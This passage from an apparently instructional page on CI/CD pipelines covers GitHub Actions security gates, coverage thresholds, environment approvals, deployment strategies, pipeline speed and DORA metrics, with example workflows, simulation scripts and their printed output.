          deny-licenses: AGPL-3.0-only, AGPL-3.0-or-later

  npm-audit:
    name: npm audit
    runs-on: ubuntu-24.04
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          cache: npm
      - run: npm ci
      - run: npm audit signatures
      - run: npm audit --omit=dev --audit-level=high

  codeql:
    name: CodeQL (${{ matrix.language }})
    runs-on: ubuntu-24.04
    timeout-minutes: 30
    permissions:
      contents: read
      security-events: write
    strategy:
      fail-fast: false
      matrix:
        language: [javascript-typescript, actions]
    steps:
      - uses: actions/checkout@v7
      - uses: github/codeql-action/init@v4
        with:
          languages: ${{ matrix.language }}
          build-mode: none
      - uses: github/codeql-action/analyze@v4
        with:
          category: /language:${{ matrix.language }}
What’s happening
  1. Dependency review runs only on pull requests (if: github.event_name == 'pull_request'; on pushes and the schedule it's skipped, which reports success). It compares the dependency graph of the PR's base and head and fails if the PR adds a dependency with a known vulnerability of severity high or above, or a licence on the deny list. Existing problems don't fail every PR, which keeps it from being ignored. The action's v5 README marks deny-licenses as deprecated, "for possible removal in the next major release"; allow-licenses (an allow list) is the alternative to move to.
  2. npm audit does two different checks. npm audit signatures verifies the registry signatures and provenance attestations of the installed packages, catching tampered tarballs. npm audit --omit=dev --audit-level=high fails on known high or critical vulnerabilities in production dependencies only, so a dev-only tool's advisory doesn't block a release.
  3. CodeQL is a matrix over two languages: javascript-typescript (the web UI and API) and actions, which analyses the workflow files themselves for problems like the script injection shown earlier. build-mode: none works for interpreted languages. The job needs security-events: write to upload results to the repository's Security tab; the rest of the workflow stays read-only.
  4. The schedule runs everything at 03:17 UTC every Monday, so newly published advisories and new CodeQL queries reach code nobody has touched. An odd minute avoids the top-of-the-hour rush when scheduled workflows queue up.
  5. Availability (GitHub docs, checked 27 October 2026): dependency review and code scanning both work on all public repositories; on private ones they need an organisation-owned repository on GitHub Team or Enterprise Cloud with GitHub Code Security enabled. On a client's private repository, ask what they have before promising these gates.
AdvancedA coverage floor, and what the tool actually printed

Coverage gates belong in the test runner's config, so developers see the same failure locally. This is a Vitest 5 config (Vitest 5.0.5 with @vitest/coverage-v8 5.0.5, run in this site's sandbox on 27 October 2026); the per-folder glob holds security-sensitive code to a higher bar:

vitest.config.js
import { defineConfig } from "vitest/config";

export default defineConfig({
  test: {
    coverage: {
      provider: "v8",
      include: ["src/**/*.{js,ts,tsx}"],
      exclude: ["src/**/*.test.*", "src/generated/**"],
      reporter: ["text-summary", "lcov"],
      thresholds: {
        lines: 80,
        branches: 75,
        functions: 80,
        statements: 80,
        "src/api/auth/**": { lines: 95, branches: 90 },
      },
    },
  },
});

Run against a stepVolume(current, delta) function (clamp the result to 0–100) with a single happy-path test, npx vitest run --coverage printed:

npx vitest run --coverage
 % Coverage report from v8

=============================== Coverage summary ===============================
Statements   : 66.66% ( 4/6 )
Branches     : 50% ( 2/4 )
Functions    : 100% ( 1/1 )
Lines        : 100% ( 4/4 )
================================================================================
ERROR: Coverage for statements (66.66%) does not meet global threshold (80%)
ERROR: Coverage for branches (50%) does not meet global threshold (75%)
What’s happening
  1. The single test called stepVolume(50, 10). Neither clamp ran, yet line coverage is 100%: both if (…) return …; statements sit on lines that executed (the condition was evaluated), so every line counts as covered.
  2. Statements (4 of 6) and branches (2 of 4) tell the truth: the two return statements inside the ifs never ran, and only the "false" side of each condition was taken. That's why the thresholds include branches; a lines-only gate would have passed this.
  3. The process exited with status 1, which fails the CI step. Adding a second test, stepVolume(95, 10) → 100, raised statements to 83.33% and branches to 75%, and the gate passed.
  4. Treat the numbers as a floor that stops decay, not a goal to chase. What coverage can and can't tell you is the subject of Coverage: useful signal or vanity metric.
AdvancedBranch rules that make the gates real

In a ruleset (or classic branch protection) on main, a lead typically turns on:

  • Require a pull request before merging, with at least one approval, dismiss stale approvals when new commits are pushed, and require review from Code Owners.
  • Require status checks to pass: "CI OK", "Dependency review", the CodeQL jobs. Pick them from checks that have actually reported on a recent PR, so the names match.
  • Require branches to be up to date before merging, or better, a merge queue: the queue tests each PR combined with the PRs ahead of it, on a temporary branch, and only merges if that combination passes. Your required workflows must then include the merge_group trigger.
  • Block force pushes and deletions on main, and don't give anyone a bypass "just for emergencies" without an audit trail.

The settings are a few clicks; the leadership part is agreeing them with the team, writing them in the definition of done, and not bypassing them when a deadline is close.

AdvancedPitfall: two checks with the same name
Why did this PR merge with a failing test?

The ruleset on main requires one check: "E2E". A PR breaks a unit test in api. In ci.yml, e2e has needs: [build-web, unit]. The PR merged. How?

Show answer

The failing unit job made e2e skip, and GitHub treats a skipped job's check as passing, so the only required check was green.

What’s happening
  1. unit failed for api on one Node version, so its result is failure.
  2. e2e needs unit. When a job it needs fails, Actions doesn't run it and doesn't fail it: it marks it skipped.
  3. GitHub's docs say a job skipped this way reports success, and dependent jobs skipped after a failure "may not block merging". "E2E" is green, the merge button is enabled.
  4. Fix: require an aggregator ("CI OK") with if: always() that fails when any needed result is failure or cancelled. With that as the required check, the PR is blocked.

#Environments, approvals and deployment strategies

Added

An environment in GitHub Actions is a named deployment target, such as staging or production, with its own secrets and variables and its own protection rules. A job that says environment: production doesn't start until those rules pass: required reviewers approve, a wait timer runs out, the branch is allowed to deploy there. Until then the job can't even read the environment's secrets. That makes "who can put code in production" a setting you can show an auditor, not a convention.

A deployment strategy is how the new version replaces the old one: all at once, a few servers at a time, side by side with a switch, or to a small slice of traffic first. The mental model that makes the strategies click: deploying is moving the new furniture into the house; releasing is opening the door to the guests. Blue-green, canaries and feature flags all exist to separate the two, so you can check the furniture before anyone sits on it, and move it back out quickly if it's wrong.

Build release push to main artefact release-<sha7> staging deploy + smoke approve reviewer production deploy + smoke the same bytes go to both environments: build once, promote group deploy-staging group deploy-production
Build once, deploy the same artefact everywhere; production waits for a person.

The deploy workflow calls a reusable workflow twice, once per environment. The reusable one lives in a shared repository, devices-platform/workflows, so every service in the organisation deploys the same way:

.github/workflows/deploy.yml
name: Deploy

on:
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read

jobs:
  build:
    name: Build release
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    outputs:
      artifact: ${{ steps.name.outputs.artifact }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version-file: .nvmrc
          package-manager-cache: false
      - run: npm ci
      - run: npm run build --workspaces
      - id: name
        run: echo "artifact=release-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
      - uses: actions/upload-artifact@v7
        with:
          name: ${{ steps.name.outputs.artifact }}
          path: |
            web/dist/
            api/dist/
          if-no-files-found: error
          retention-days: 30

  staging:
    needs: build
    uses: devices-platform/workflows/.github/workflows/deploy-env.yml@v1
    permissions:
      contents: read
      id-token: write
    with:
      environment: staging
      artifact: ${{ needs.build.outputs.artifact }}
      base-url: https://staging.devices.example.com
    secrets: inherit

  production:
    needs: [build, staging]
    uses: devices-platform/workflows/.github/workflows/deploy-env.yml@v1
    permissions:
      contents: read
      id-token: write
    with:
      environment: production
      artifact: ${{ needs.build.outputs.artifact }}
      base-url: https://devices.example.com
    secrets: inherit
What’s happening
  1. It runs on every push to main (continuous delivery to staging) and by hand (workflow_dispatch) for redeploys. There's no concurrency at the top: each environment gets its own group inside the reusable workflow, so staging can take the next commit while production waits for approval of the previous one.
  2. Build once. build runs npm ci and builds both workspaces, then names the artefact after the short commit SHA (release-1a2b3c4; ${GITHUB_SHA::7} is bash substring syntax) and publishes the name as a job output. package-manager-cache: false turns off setup-node's automatic npm cache, as its README recommends for privileged workflows: a release build shouldn't restore anything another workflow wrote. Retention is 30 days, so you can roll back to any artefact from the last month.
  3. Staging and production call the same reusable workflow with uses: owner/repo/.github/workflows/file.yml@ref. A calling job can't have steps or runs-on; it passes with: inputs and secrets: inherit (allowed within the same organisation or enterprise per GitHub's "Reuse workflows" page), and it can't use environment itself: the environment goes on the job inside the called workflow.
  4. Permissions are granted at the call. The workflow's default is contents: read; the calling jobs add id-token: write, which lets the deploy job request an OpenID Connect token for keyless login to the cloud. GitHub's docs say a called workflow can only keep or reduce the permissions it's given, never raise them.
  5. production needs staging, so it can't start until staging deployed and passed its smoke test. Its environment then pauses it for approval. Both calls pass the same artefact name: production gets byte-for-byte what was tested on staging.
AdvancedThe reusable deploy workflow
.github/workflows/deploy-env.yml
name: Deploy to one environment

on:
  workflow_call:
    inputs:
      environment:
        description: GitHub environment to deploy to (staging or production)
        required: true
        type: string
      artifact:
        description: Name of the build artefact to deploy
        required: true
        type: string
      base-url:
        description: Public URL of the environment, used for the smoke test
        required: true
        type: string
    outputs:
      deployed-version:
        description: The artefact that is now live
        value: ${{ jobs.deploy.outputs.version }}

permissions:
  contents: read

jobs:
  deploy:
    name: Deploy to ${{ inputs.environment }}
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    environment:
      name: ${{ inputs.environment }}
      url: ${{ inputs.base-url }}
    concurrency:
      group: deploy-${{ inputs.environment }}
      cancel-in-progress: false
    permissions:
      contents: read
      id-token: write
    outputs:
      version: ${{ inputs.artifact }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/download-artifact@v8
        with:
          name: ${{ inputs.artifact }}
          path: release/
      - name: Deploy
        env:
          TARGET: ${{ inputs.environment }}
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: ./scripts/deploy.sh "$TARGET" release/
      - name: Smoke test
        env:
          BASE_URL: ${{ inputs.base-url }}
        run: |
          curl --fail --silent --show-error --retry 5 --retry-delay 5 --retry-all-errors "$BASE_URL/healthz"
          curl --fail --silent --show-error "$BASE_URL/api/v1/version"
What’s happening
  1. This file lives in the shared devices-platform/workflows repository. on: workflow_call makes it callable; the three inputs are typed (string, boolean and number are the allowed types) and required, and the outputs map a job output to a workflow output, which callers read as needs.<job>.outputs.deployed-version.
  2. environment: name: ${{ inputs.environment }} attaches the job to the environment, which is what triggers its protection rules and unlocks its secrets. url appears on the run page and in the PR's deployment history as a link to what was deployed. GitHub's docs: "All deployment protection rules must pass before a job referencing the environment is sent to a runner."
  3. concurrency: group: deploy-production with cancel-in-progress: false means one production deploy at a time, and a deploy that's running is never cancelled halfway. Cancelling a half-finished deploy is how you get half-migrated databases.
  4. DEPLOY_TOKEN is an environment secret (staging and production each have their own). It's only available to jobs that reference the environment and, when reviewers are required, not until one approves. Inputs reach the shell through env:, never pasted into the script with ${{ }}.
  5. The smoke test runs right after the deploy, against the environment's real URL: /healthz with five retries (the new version may still be starting), then a real API route. If either fails, the job fails, production never starts after a bad staging deploy, and the run shows exactly which environment and artefact broke.
AdvancedWhat the workflow check can't see

Both files passed actionlint 1.7.12. One limit of how this site checks workflows: each file is checked on its own, so the call to a reusable workflow in another repository isn't cross-checked against its inputs (actionlint can only do that for ./.github/workflows/… files in the same repository). The inputs here were matched by hand: environment, artifact and base-url on both sides.

AdvancedSetting up the environments

Protection rules are configured in the repository's Settings → Environments, not in YAML. From GitHub's "Deployments and environments" reference (checked 27 October 2026):

RuleWhat it doesLimits
Required reviewersthe job waits until one listed person or team approvesup to 6 users or teams; one approval is enough; "prevent self-review" stops the person who triggered the run from approving it
Wait timerthe job waits a fixed time before starting1 to 43,200 minutes (30 days); waiting isn't billed
Deployment branches and tagsonly matching refs may deployno restriction, protected branches only, or selected name patterns
Custom protection rulesa GitHub App approves or rejects (change-management, monitoring checks)public preview
Environment secrets and variablesper-environment valuessecrets unlock only after approval

Plan availability is the trap. On GitHub Free, Pro and Team, required reviewers and wait timers are only available for public repositories; on a private repository they need GitHub Enterprise. Deployment branch rules and environment secrets work for private repositories on Pro and Team. A lead joining a client's organisation should check which plan it's on before designing an approval flow around required reviewers.

A sensible production setup: required reviewers (two or three named people from different time zones so approval never waits a night), prevent self-review, deployment branches limited to main, and the production credentials only as environment secrets.

AdvancedDeployment strategies compared
StrategyHow it worksRollbackCosts and catches
Recreatestop the old version, start the new oneredeploy the old artefactdowntime; fine for internal tools and maintenance windows
Rollingreplace instances a few at a time behind the load balancerroll forward or back instance by instanceold and new run side by side for a while, so APIs and schemas must be compatible both ways
Blue-greenstart a complete new environment (green) next to the live one (blue), test it, switch trafficswitch back: secondsdouble the capacity during the switch; database changes still need expand and contract
Canarysend 1–5% of traffic to the new version, compare its error rate and latency with the old, then widenstop routing to itneeds good metrics and enough traffic to judge; the most effective way to limit blast radius
Feature flagsdeploy the code switched off, turn it on for a group, then everyoneflip the flagseparates release from deploy entirely; flags must be cleaned up, or they become permanent complexity
Staged rollout (rings)release to internal users, then a small customer group, then everyonestop the rollout; older units keep the old versionthe usual shape for software installed on devices, where a bad update can't be pulled back instantly

The canary is the strategy interviewers most like to probe, because the decision rule is where the engineering is. This model compares a canary's error rate with the baseline at each traffic step:

canary.mjs
// A canary rollout: the new version takes a growing share of traffic; at each step its error rate is compared with
// the old version's (the baseline) over the same windows. Seeded PRNG (mulberry32), so the output never changes.
function mulberry32(seed) {
  return () => {
    seed = (seed + 0x6d2b79f5) | 0;
    let t = Math.imul(seed ^ (seed >>> 15), 1 | seed);
    t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t;
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  };
}
const STEPS = [1, 5, 25, 50]; // % of traffic on the canary before going to 100%
const REQUESTS_PER_WINDOW = 40_000; // all traffic in one 5-minute window
const MIN_CANARY_REQUESTS = 1_000; // fewer than this and a rate is noise: stay at this step for another window
const countErrors = (rand, n, rate) => Array.from({ length: n }).filter(() => rand() < rate).length;

function rollout(name, canaryErrorRate, baselineErrorRate = 0.002) {
  const rand = mulberry32(7);
  console.log(`${name}:`);
  for (const pct of STEPS) {
    let windows = 0, canaryReqs = 0, canaryErrs = 0, baseReqs = 0, baseErrs = 0;
    while (canaryReqs < MIN_CANARY_REQUESTS) {
      windows++;
      const c = Math.round((REQUESTS_PER_WINDOW * pct) / 100);
      canaryReqs += c;
      canaryErrs += countErrors(rand, c, canaryErrorRate);
      baseReqs += REQUESTS_PER_WINDOW - c;
      baseErrs += countErrors(rand, REQUESTS_PER_WINDOW - c, baselineErrorRate);
    }
    const c = canaryErrs / canaryReqs, b = baseErrs / baseReqs;
    const limit = b * 2 + 0.001; // allowed: twice the baseline plus 0.1 percentage points of slack
    const line = `  ${String(pct).padStart(2)}% for ${windows} window(s): canary ${(c * 100).toFixed(2)}% of ${canaryReqs}, baseline ${(b * 100).toFixed(2)}%`;
    if (c > limit) return console.log(`${line} → ROLL BACK (limit ${(limit * 100).toFixed(2)}%)`);
    console.log(`${line} → promote`);
  }
  console.log("  100%: the new version takes all traffic");
}
rollout("Healthy release", 0.0025);
rollout("Release that breaks one endpoint", 0.012);
Result
Healthy release:
   1% for 3 window(s): canary 0.25% of 1200, baseline 0.22% → promote
   5% for 1 window(s): canary 0.35% of 2000, baseline 0.22% → promote
  25% for 1 window(s): canary 0.29% of 10000, baseline 0.18% → promote
  50% for 1 window(s): canary 0.24% of 20000, baseline 0.23% → promote
  100%: the new version takes all traffic
Release that breaks one endpoint:
   1% for 3 window(s): canary 1.75% of 1200, baseline 0.22% → ROLL BACK (limit 0.53%)
What’s happening
  1. Each 5-minute window has 40,000 requests. At 1% the canary sees 400 per window; MIN_CANARY_REQUESTS is 1,000, so the loop stays at the step for more windows (three, giving 1,200 requests) before judging. An error rate from 400 requests is noise: one or two errors swing it by a quarter of a percentage point.
  2. The canary is always compared with the baseline over the same windows, not with yesterday: if a downstream service is having a bad hour, both versions suffer and the canary isn't blamed.
  3. The rule allows twice the baseline plus 0.1 percentage points of slack. The healthy release (true error rate 0.25% against 0.2%) varies between 0.24% and 0.35% from step to step and stays under every limit, so it's promoted 1% → 5% → 25% → 50% → 100%.
  4. The broken release (1.2% errors, as if one endpoint failed) shows 1.75% at the first step, above the 0.53% limit, and is rolled back while it serves 1% of traffic. Most users never saw it; that's the point of a canary.
  5. In real tooling (Argo Rollouts, Flagger, a cloud provider's traffic splitting) the same three parts appear: steps, a minimum sample, and a comparison with a baseline over latency as well as errors. The thresholds are a team decision; write them down before the incident, not during it.
AdvancedRollback, roll forward, and the database
  • Rollback means redeploying the previous artefact. It's only fast if you kept the artefact (the 30-day retention above) and the deploy is the same command for any version. Practise it before you need it.
  • Roll forward means fixing and deploying a new version. Fine for small fixes when the pipeline is fast; dangerous at 2 a.m. with a 40-minute pipeline. Know which you'll do before you deploy.
  • The database is what makes rollbacks hard. If version 2 renamed a column, version 1 can't run against the new schema. The fix is expand and contract: release 1 adds the new column and writes both; release 2 reads the new one; release 3, once nothing reads the old column, drops it. Every step is safe to roll back, and old and new versions can run side by side during a rolling or canary deploy.
  • On a device platform, the same applies to the API the devices call: devices update on their own schedule, so the API must accept the previous device version's requests for as long as those devices are in the field.
AdvancedQueueing deploys instead of replacing them

By default a concurrency group keeps one pending run: if three commits land while production is deploying, the middle one is cancelled and only the newest waits. For deploys that's usually right (deploy the latest). When every deploy must happen in order, GitHub added queue: max in May 2026 (GitHub changelog, 7 May 2026; workflow syntax reference, checked 27 October 2026): up to 100 runs wait in the group, processed first in, first out by when each started waiting (the docs add that the order isn't guaranteed), and it can't be combined with cancel-in-progress: true. The docs disagree on what happens to a 101st run: the concurrency section says it's cancelled, the limits page says rejected.

concurrency excerpt (not checked: actionlint 1.7.12 doesn't know queue yet)
concurrency:
  group: deploy-production
  queue: max

actionlint 1.7.12 rejects this with unexpected key "queue" for "concurrency" section, which is why it isn't in the checked workflows above. If you adopt it, pin a newer actionlint once one supports the key, or the linter becomes the thing people learn to ignore.

AdvancedPitfall: rebuilding per environment
Approve, but nothing happens?

A team on GitHub Team, with a private repository, adds environment: production to its deploy job and adds two required reviewers in Settings → Environments. Production deploys now run straight through without waiting for anyone. Why?

Show answer

On GitHub Free, Pro and Team, required reviewers are only available for public repositories. A private repository needs GitHub Enterprise for that rule.

What’s happening
  1. GitHub's "Deployments and environments" reference lists availability per rule. Required reviewers and wait timers: public repositories on Free, Pro and Team; private repositories need Enterprise.
  2. Deployment branch and tag rules, environment secrets and environment variables do work for private repositories on Pro and Team, so part of the setup works and nothing looks broken.
  3. Options: move to Enterprise; keep the approval in the process instead (a protected production branch or tag that only a release group can push, with deployment branches limited to it); or use a custom protection rule from a GitHub App (in public preview, and also limited to public repositories on those plans).
  4. The lead's lesson: check the plan and the docs' availability notes before promising a control to a client or an auditor.

#Keeping pipelines fast and reliable

Added

A pipeline is a feedback loop, and feedback is only useful if it's fast and trusted. Fowler's CI article cites the XP guideline of a ten-minute build: long enough to run real tests, short enough that developers wait for the result instead of switching to something else and coming back an hour later. Reliability matters even more: a pipeline that fails randomly teaches everyone to click "Re-run" without reading, and then it stops catching anything.

The mental model for speed is the critical path, as in project planning: with jobs running in parallel, the pipeline takes as long as its longest chain of needs, not the sum of its jobs. Making a job that isn't on the critical path faster saves money (runner minutes) but no waiting time. Making the critical path shorter is the only thing developers feel. This model compares versions of the ci.yml pipeline with illustrative job durations:

critical-path.mjs
// Wall-clock time of a pipeline is its longest dependency chain (the critical path); runner minutes are the sum of
// every job. Durations are illustrative assumptions in minutes, not measurements.
function analyse(name, jobs) {
  const finish = {};
  const end = (id) => (finish[id] ??= Math.max(0, ...jobs[id].needs.map(end)) + jobs[id].minutes);
  const wall = Math.max(...Object.keys(jobs).map(end));
  const last = Object.keys(jobs).find((id) => finish[id] === wall);
  const path = [];
  for (let id = last; id; ) {
    path.unshift(id);
    id = jobs[id].needs.find((n) => finish[n] === finish[id] - jobs[id].minutes);
  }
  const runner = Object.values(jobs).reduce((sum, j) => sum + j.minutes, 0);
  console.log(`${name.padEnd(32)} wall ${wall.toFixed(1).padStart(4)} min  runner ${runner.toFixed(1).padStart(5)} min  path: ${path.join(" → ")}`);
}
function pipeline({ setup, e2eShards = 1, splitJobs = true, buildWaitsForLint = true }) {
  const job = (minutes, needs = []) => ({ minutes: setup + minutes, needs });
  if (!splitJobs) return { all: job(2 + 5 + 4 + 2 + 12) }; // lint, unit, integration, build, e2e in one job
  const jobs = {
    lint: job(2),
    "unit web 24": job(3), "unit web 26": job(3), "unit api 24": job(2), "unit api 26": job(2),
    "api-integration": job(4),
    "build-web": job(2, buildWaitsForLint ? ["lint"] : []),
  };
  for (let s = 1; s <= e2eShards; s++) jobs[`e2e ${s}/${e2eShards}`] = job(12 / e2eShards + 0.5, ["build-web"]);
  jobs["ci-ok"] = { minutes: 0.2, needs: Object.keys(jobs) };
  return jobs;
}
analyse("one job, no dependency cache", pipeline({ setup: 2.5, splitJobs: false }));
analyse("parallel jobs, no cache", pipeline({ setup: 2.5 }));
analyse("+ npm cache", pipeline({ setup: 1 }));
analyse("+ e2e in 2 shards", pipeline({ setup: 1, e2eShards: 2 }));
analyse("+ e2e in 4 shards", pipeline({ setup: 1, e2eShards: 4 }));
analyse("+ build no longer waits for lint", pipeline({ setup: 1, e2eShards: 4, buildWaitsForLint: false }));
Result
one job, no dependency cache     wall 27.5 min  runner  27.5 min  path: all
parallel jobs, no cache          wall 24.2 min  runner  50.7 min  path: lint → build-web → e2e 1/1 → ci-ok
+ npm cache                      wall 19.7 min  runner  38.7 min  path: lint → build-web → e2e 1/1 → ci-ok
+ e2e in 2 shards                wall 13.7 min  runner  40.2 min  path: lint → build-web → e2e 1/2 → ci-ok
+ e2e in 4 shards                wall 10.7 min  runner  43.2 min  path: lint → build-web → e2e 1/4 → ci-ok
+ build no longer waits for lint wall  7.7 min  runner  43.2 min  path: build-web → e2e 1/4 → ci-ok
What’s happening
  1. analyse computes each job's finish time as its own duration plus the latest finish among its needs (a memoised longest path), so wall is the critical path and runner is the sum of every job's minutes. It then walks back from the last job to print the path. The durations are assumptions for illustration, with 2.5 minutes of setup per job without a dependency cache and 1 minute with it.
  2. One job doing everything takes 27.5 minutes, and that's with unit tests on only one Node version. Splitting into parallel jobs cuts the wait only to 24.2 minutes, because the critical path is still lint → build → a 12-minute E2E suite, and it doubles runner minutes (50.7): every job pays its own setup.
  3. The npm cache shortens every job's setup, so it helps both numbers: 19.7 minutes wall, 38.7 runner minutes.
  4. Sharding E2E attacks the critical path directly: two shards take it to 13.7 minutes, four to 10.7, while runner minutes creep up (40.2, 43.2) because each shard pays setup plus 0.5 minutes of overhead. Diminishing returns are visible: the step from two to four shards saves 3 minutes, not 6.
  5. Removing an unnecessary needs is free: if build-web doesn't wait for lint, the path becomes build → E2E and the wall time drops to 7.7 minutes with no extra runner minutes at all. ci.yml keeps needs: lint deliberately (no build for code that fails lint), which costs 3 minutes per run; that's a trade-off worth making consciously, not by accident.
AdvancedA checklist for speed
  • Measure first. The Actions run page shows each job's duration; look at the slowest chain, and at queue time (waiting for a runner), which no amount of caching fixes.
  • Cache inputs, not outputs: the npm cache through setup-node, incremental lint/TypeScript caches through actions/cache with a SHA in the key and restore-keys. Don't cache node_modules or Playwright browsers (see Caches versus artefacts).
  • Parallelise and shard the long suites: --shard=x/y in Playwright (its sharding guide uses exactly this matrix pattern, then merges the per-shard blob reports with npx playwright merge-reports), and test files split across workers in Vitest or Jest.
  • Remove false dependencies: needs only when the job really consumes the other's output or shouldn't run on its failure.
  • Run less on the PR, more after merge only if it's cheap to recover: a nightly full browser matrix is fine; skipping integration tests on PRs is not.
  • Cancel superseded runs on PRs (concurrency with cancel-in-progress), and set realistic timeout-minutes on every job: the default is 360.
  • Bigger runners (more CPU) for CPU-bound jobs like builds and test workers; they cost more per minute, so measure whether the minutes saved pay for it.
AdvancedA checklist for reliability
  • Pin what you depend on. Third-party actions by full commit SHA with the version in a comment (uses: some-org/some-action@<40-char sha> # v2.3.1), because a tag can be moved to malicious code; first-party actions/* by major version is a common, accepted compromise. For example, actions/checkout v7.0.1 is commit 3d3c42e5aac5ba805825da76410c181273ba90b1 (checked with gh api on 27 October 2026). Dependabot can keep pinned SHAs up to date.
  • Pin the runtime: node-version-file: .nvmrc, a pinned runner image (ubuntu-24.04), npm ci from a committed lockfile, a pinned database image tag.
  • Make tests hermetic: each job starts its own database in a service container; tests never share state or depend on the internet (record external APIs, or use contract tests).
  • Retry only the network. A retry around curl to a starting server is fine (--retry 5 in the smoke test). Retrying whole test jobs hides flaky tests until they hide a real bug. Track and quarantine flaky tests instead (see Flaky tests).
  • Keep main green as a team rule: if main breaks, the next thing anyone does is fix or revert it, within minutes. Humble's third question.
AdvancedPitfall: Re-run failed jobs

#DORA metrics

Added

DORA (DevOps Research and Assessment, now a programme run by Google Cloud) has published a research report from an annual survey of software professionals every year since 2014 (nearly 5,000 respondents in 2025) and found that a small set of delivery metrics predicts both organisational performance and team well-being. They became known as the four keys: deployment frequency, lead time for changes, change failure rate and time to restore. Since the 2024 report there are five, in two groups (dora.dev "DORA's software delivery performance metrics", last updated 5 January 2026):

  • Throughput: change lead time, "the amount of time it takes for a change to go from committed to version control to deployed in production"; deployment frequency, the number of deployments over a period, or the time between them; and failed deployment recovery time, the time to recover from a deployment that fails and needs immediate intervention.
  • Instability: change fail rate, the ratio of deployments that require immediate intervention after they're deployed; and deployment rework rate, the ratio of deployments that are unplanned and happen because of an incident in production.

The mental model: a speedometer and an accident log. Throughput alone rewards driving fast into walls; instability alone rewards never leaving the garage. DORA's consistent finding is that the best teams are good at both at once: small, frequent changes are safer, not riskier, because each one is easy to understand, test and undo. That's the same argument as the integration-cost model at the top of this chapter.

The metrics come from data you already have. This model computes all five from a week of history: commit and deploy times from git (each production deploy is an annotated tag), and failures from the incident log:

dora-from-git.mjs
// DORA's five delivery metrics from real data: commit and deploy times come from git (each production deploy is an
// annotated tag); failures come from the incident log. Fixed dates and names, so hashes and output are deterministic.
import { execFileSync } from "node:child_process";
import { mkdtempSync, writeFileSync, rmSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";

const dir = mkdtempSync(join(tmpdir(), "dora-"));
const env = { ...process.env, GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_NOSYSTEM: "1", GIT_AUTHOR_NAME: "Dev", GIT_AUTHOR_EMAIL: "dev@example.com", GIT_COMMITTER_NAME: "CI", GIT_COMMITTER_EMAIL: "ci@example.com" };
const git = (args, date) => execFileSync("git", args, { cwd: dir, encoding: "utf8", env: date ? { ...env, GIT_AUTHOR_DATE: date, GIT_COMMITTER_DATE: date } : env }).trim();
git(["init", "-q", "-b", "main"]);

const commit = (msg, date) => (writeFileSync(join(dir, "log.txt"), msg + "\n", { flag: "a" }), git(["add", "."]), git(["commit", "-qm", msg], date));
const deploy = (tag, date, target = "HEAD") => git(["tag", "-a", tag, "-m", "production deploy", target], date);
commit("Add device list page", "2026-10-05T09:00:00Z");
commit("Paginate GET /devices", "2026-10-05T15:00:00Z");
deploy("deploy-1", "2026-10-06T10:00:00Z");
commit("Rename room setting", "2026-10-06T11:00:00Z");
deploy("deploy-2", "2026-10-06T16:00:00Z"); // breaks the settings screen
commit("Fix room setting migration", "2026-10-06T17:00:00Z");
deploy("deploy-3", "2026-10-06T17:40:00Z"); // unplanned: only exists because of the incident
commit("Firmware version column", "2026-10-07T10:00:00Z");
commit("Export devices as CSV", "2026-10-08T09:00:00Z");
deploy("deploy-4", "2026-10-09T11:00:00Z");
commit("Bulk reboot API", "2026-10-12T09:30:00Z");
deploy("deploy-5", "2026-10-13T10:00:00Z"); // bulk reboot times out under load
deploy("deploy-6", "2026-10-13T12:30:00Z", "deploy-4^{}"); // unplanned: rollback, redeploys deploy-4's commit
const incidents = [ // from the incident tracker: which deploy failed, and when service was restored
  { deploy: "deploy-2", restored: "2026-10-06T17:40:00Z" },
  { deploy: "deploy-5", restored: "2026-10-13T12:30:00Z" },
];
const unplanned = ["deploy-3", "deploy-6"];

const tags = git(["tag", "--sort=creatordate", "-l", "deploy-*"]).split("\n");
console.log(git(["log", "--format=%h %ad %s%d", "--date=format:%a %d %H:%M"]));
const tagTime = (t) => Number(git(["for-each-ref", "--format=%(creatordate:unix)", `refs/tags/${t}`]));
const leadTimes = [];
tags.forEach((t, i) => {
  const range = i === 0 ? t : `${tags[i - 1]}..${t}`;
  const commits = git(["log", "--format=%ct", range]).split("\n").filter(Boolean).map(Number);
  for (const c of commits) leadTimes.push((tagTime(t) - c) / 3600);
});
const median = (xs) => { const s = [...xs].sort((a, b) => a - b), m = s.length >> 1; return s.length % 2 ? s[m] : (s[m - 1] + s[m]) / 2; };
const days = (tagTime(tags.at(-1)) - tagTime(tags[0])) / 86400;
const recovery = incidents.map((x) => (Date.parse(x.restored) / 1000 - tagTime(x.deploy)) / 3600);
const pct = (n) => `${Math.round((n / tags.length) * 100)}%`;

console.log(`Deployments: ${tags.length} in ${days.toFixed(1)} days (${(tags.length / (days / 7)).toFixed(1)} per week)`);
console.log(`Change lead time: median ${median(leadTimes).toFixed(1)} h over ${leadTimes.length} commits (max ${Math.max(...leadTimes).toFixed(1)} h)`);
console.log(`Change fail rate: ${incidents.length}/${tags.length} deploys = ${pct(incidents.length)}`);
console.log(`Failed deployment recovery time: median ${median(recovery).toFixed(1)} h (${recovery.map((h) => h.toFixed(1)).join(", ")})`);
console.log(`Deployment rework rate: ${unplanned.length}/${tags.length} deploys = ${pct(unplanned.length)}`);
rmSync(dir, { recursive: true, force: true });
Result
2008c6f Mon 12 09:30 Bulk reboot API (HEAD -> main, tag: deploy-5)
502e5b2 Thu 08 09:00 Export devices as CSV (tag: deploy-6, tag: deploy-4)
decdd23 Wed 07 10:00 Firmware version column
ce1e783 Tue 06 17:00 Fix room setting migration (tag: deploy-3)
f64470a Tue 06 11:00 Rename room setting (tag: deploy-2)
50b1d25 Mon 05 15:00 Paginate GET /devices (tag: deploy-1)
5ff5f29 Mon 05 09:00 Add device list page
Deployments: 6 in 7.1 days (5.9 per week)
Change lead time: median 24.5 h over 7 commits (max 49.0 h)
Change fail rate: 2/6 deploys = 33%
